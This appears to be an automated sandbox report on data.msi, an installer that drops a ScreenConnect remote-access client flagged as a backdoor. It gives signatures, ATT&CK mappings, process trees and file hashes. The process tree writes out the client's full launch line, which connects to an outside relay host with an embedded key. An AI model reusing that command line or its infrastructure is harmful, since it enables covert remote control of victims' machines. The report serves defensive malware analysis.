Overview

overview

8

Static

static

3

data.msi

windows10-2004-x64

8

data.msi

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    148s
  • max time network
    114s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    25/08/2026, 12:24

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    data.msi
  • Size 12.8MB
  • Sample260825-pldt6ssbjd
  • SHA256 1a6a57e16626d4bfbbb84ab603083e46a536b5d101861ca7e5fe6947041a8938
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
backdoordiscoverypersistenceprivilege_escalationransomwareratrevoked_codesign

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

    backdoorrat
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 18 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
    persistenceprivilege_escalation
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\data.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:4560
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4828
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding C6F1FE478E3E42445ACAA6B59BBA1E81 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:5840
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI7FE4.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240747046 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1620
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:3036
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 67BCCCCFCEC7C5591FB3BB4F903E5ED2
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:3520
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 0F0CE88E4B97745F64695F50B19A0FE2 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4604
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:2356
    • C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=7ff6dac17cf9cb62e6c2e46946d1e907.clafma.org&p=8041&s=d7ef1560-3f68-4c62-8e79-2e6527e7f4e2&k=BgIAAACkAABSU0ExAAgAAAEAAQDRatufx%2f7HUQav2puZ06j%2bj3738Wxpy%2fncIf5%2bZmiCLxUE1DRCaaroPv6JA2wTqHfo7%2bgaw%2fWjxCYQBFxZC0Yc%2fjNSrdznyRBy7TTD0ls%2boGQhZzU1PXpwV4kUNxvx9tooOQumfPiUXsItuZWBl3HNdTS6vr5q5KovSxlV3N90eh7SooEf%2bJlpLnk37xI%2fy24ip3UNwnbW2NIq6QwDVoHAC8TjBOkRIIOVmpc%2fo05ee3djOOJgpFW75L68wDAANh70e2xCOgIlG4sh6BhnCABFb8yJw8lftKPY13GkDQlestBaP8IjCjMsbSYfQ7pSggc5aIoSbu9R1Mw%2bMcpp93TF&c=data&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3400
      • C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\ScreenConnect.WindowsClient.exe" "RunRole" "0e290eff-b84d-40ad-8a9b-d700873803cc" "User"
        2⤵
        • Executes dropped EXE
        PID:4464
      • C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\ScreenConnect.WindowsClient.exe" "RunRole" "6066412d-6475-4bda-bb44-41c0ee0e0fbf" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:4248

    Network

          MITRE ATT&CK Enterprise v16

          Reconnaissance

          Resource Development

          Initial Access

          Execution

          Persistence

          Boot or Logon Autostart Execution

          2
          T1547

          Authentication Package

          1
          T1547.002

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Create or Modify System Process

          1
          T1543

          Windows Service

          1
          T1543.003

          Event Triggered Execution

          2
          T1546

          Component Object Model Hijacking

          1
          T1546.015

          Installer Packages

          1
          T1546.016

          Privilege Escalation

          Boot or Logon Autostart Execution

          2
          T1547

          Authentication Package

          1
          T1547.002

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Create or Modify System Process

          1
          T1543

          Windows Service

          1
          T1543.003

          Event Triggered Execution

          2
          T1546

          Component Object Model Hijacking

          1
          T1546.015

          Installer Packages

          1
          T1546.016

          Defense Evasion

          Modify Registry

          1
          T1112

          System Binary Proxy Execution

          1
          T1218

          Msiexec

          1
          T1218.007

          Credential Access

          Discovery

          Peripheral Device Discovery

          2
          T1120

          Query Registry

          3
          T1012

          System Information Discovery

          3
          T1082

          System Location Discovery

          1
          T1614

          System Language Discovery

          1
          T1614.001

          Lateral Movement

          Collection

          Command and Control

          Exfiltration

          Impact

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e59cd79.rbs
          • Path C:\Config.Msi\e59cd79.rbs
          • Size 214KB
          • SHA256 a713187b4d148728aae10de1bc194fd5e533fc0c1d0a26ae0eb7155e6263f284
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Client.Override.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\Client.Override.resources
          • Size 70KB
          • SHA256 72495ba2ac6aea235935677a5d18a362edebe405ec73b83a08239c70d8a5d8fe
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Client.en-US.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\Client.en-US.resources
          • Size 49KB
          • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Client.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\Client.resources
          • Size 33KB
          • SHA256 e0d0e5d951ef955f22d110b65b3fedfb8b1710491563d7c541f5e3d9fd4ccee8
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Client.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\ScreenConnect.Client.dll
          • Size 202KB
          • SHA256 ea1ba32647cf18942e5d26e4d80ade8d25db7984555f55c378c9ad0d33c11271
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.ClientService.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\ScreenConnect.ClientService.dll
          • Size 77KB
          • SHA256 84d0a414d03ab35f65cb149229ac2a64cde9b20f3cb2aba9099c71510a749fe4
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.ClientService.exe
          • Path C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 46457d98fb1c53bbccb66c1015eb831355f30c8bf8e6f25cf3183aac2a5fd8ab
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Core.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\ScreenConnect.Core.dll
          • Size 549KB
          • SHA256 6928d272bdcfb0a1739d4ffee9a1a6e230880a3ce954233a83fdc70024c1e7ad
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Windows.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 fb81fc9354d12d15f125492c74f766bb538ddc1f9748735b0bdfbf6e945175c6
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsAuthenticationPackage.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsClient.exe
          • Path C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\ScreenConnect.WindowsClient.exe
          • Size 595KB
          • SHA256 3b150443fbb196446479367dc44888488045ae8eef9b872406656cf33ace2556
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsClient.exe.config
          • Path C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          ScreenConnect.WindowsCredentialProvider.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 838KB
          • SHA256 c36e1b629985cf5379733de9c2d645446cb3333f8660bf137a46fb227ef170e4
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          app.config
          • Path C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\app.config
          • Size 1KB
          • SHA256 805e6e9447a4838d874d84e6b2cdff93723641b06726d8ee58d51e8b651cd226
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          system.config
          • Path C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\system.config
          • Size 973B
          • SHA256 f36978eeb40a33b5db2d7ee96d4ba5c8b5b5ce688b45ca23b832d865c1843b1c
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          MSI7FE4.tmp
          • Path C:\Users\Admin\AppData\Local\Temp\MSI7FE4.tmp
          • Size 1.0MB
          • SHA256 9571cbea87aa83be41b2e63a5cd62498da91793c4fa1fc38baa07a73b1c2d02c
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Microsoft.Deployment.WindowsInstaller.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI7FE4.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Core.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI7FE4.tmp-\ScreenConnect.Core.dll
          • Size 539KB
          • SHA256 613af5bfae8fb43f24c223c3aef411f532eaaf223f9f09a1dad0a4f16fb3672b
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.InstallerActions.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI7FE4.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 404b02b47b8f6fe72dd5957694810dddd3d760f530b90aade0eece30fe1950e4
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Windows.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI7FE4.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 0b87dd18e02ce7c363ebe016d81ebfab230230f9821554015c0a3505bf021d6f
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          MSID364.tmp
          • Path C:\Windows\Installer\MSID364.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          e59cd78.msi
          • Path C:\Windows\Installer\e59cd78.msi
          • Size 12.8MB
          • SHA256 1a6a57e16626d4bfbbb84ab603083e46a536b5d101861ca7e5fe6947041a8938
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          metadata-2
          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 b17104f189e854f41509dca37f24a581f14cbc4e2953b358dc0b4d4aeae2e3bb
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          {d7bbc866-f54b-4c84-ac8b-69ece721e135}_OnDiskSnapshotProp
          • Path \??\Volume{c61fbfff-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{d7bbc866-f54b-4c84-ac8b-69ece721e135}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 4ff1f09ef21f4fd4d3336951d6f066e67dfa1bdca5f5bdc846c92f860c11dfa9
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          memory/1620-26-0x00000000054C0000-0x000000000554E000-memory.dmp
          Download

          memory/1620-30-0x0000000005700000-0x00000000058AC000-memory.dmp
          Download

          memory/1620-22-0x00000000033F0000-0x00000000033FA000-memory.dmp
          Download

          memory/1620-31-0x0000000005E70000-0x000000000642A000-memory.dmp
          Download

          memory/1620-18-0x00000000033B0000-0x00000000033DE000-memory.dmp
          Download

          memory/3400-107-0x00000000045B0000-0x0000000004685000-memory.dmp
          Download

          memory/3400-80-0x0000000003E50000-0x0000000003EDE000-memory.dmp
          Download

          memory/3400-105-0x0000000004320000-0x0000000004361000-memory.dmp
          Download

          memory/3400-102-0x00000000042E0000-0x0000000004316000-memory.dmp
          Download

          memory/3400-98-0x0000000004290000-0x00000000042E0000-memory.dmp
          Download

          memory/3400-84-0x0000000004090000-0x000000000423C000-memory.dmp
          Download

          memory/3400-74-0x0000000003D80000-0x0000000003D98000-memory.dmp
          Download

          memory/3400-103-0x00000000043C0000-0x0000000004452000-memory.dmp
          Download

          memory/4464-116-0x0000000000F70000-0x0000000001008000-memory.dmp
          Download

          memory/4464-119-0x000000001C250000-0x000000001C3FC000-memory.dmp
          Download

          memory/4464-118-0x000000001C010000-0x000000001C09E000-memory.dmp
          Download

          memory/4464-121-0x0000000001870000-0x0000000001888000-memory.dmp
          Download

          memory/4464-122-0x00000000030A0000-0x00000000030B8000-memory.dmp
          Download

          memory/4464-120-0x000000001C590000-0x000000001C718000-memory.dmp
          Download

          memory/4464-117-0x0000000003060000-0x0000000003096000-memory.dmp
          Download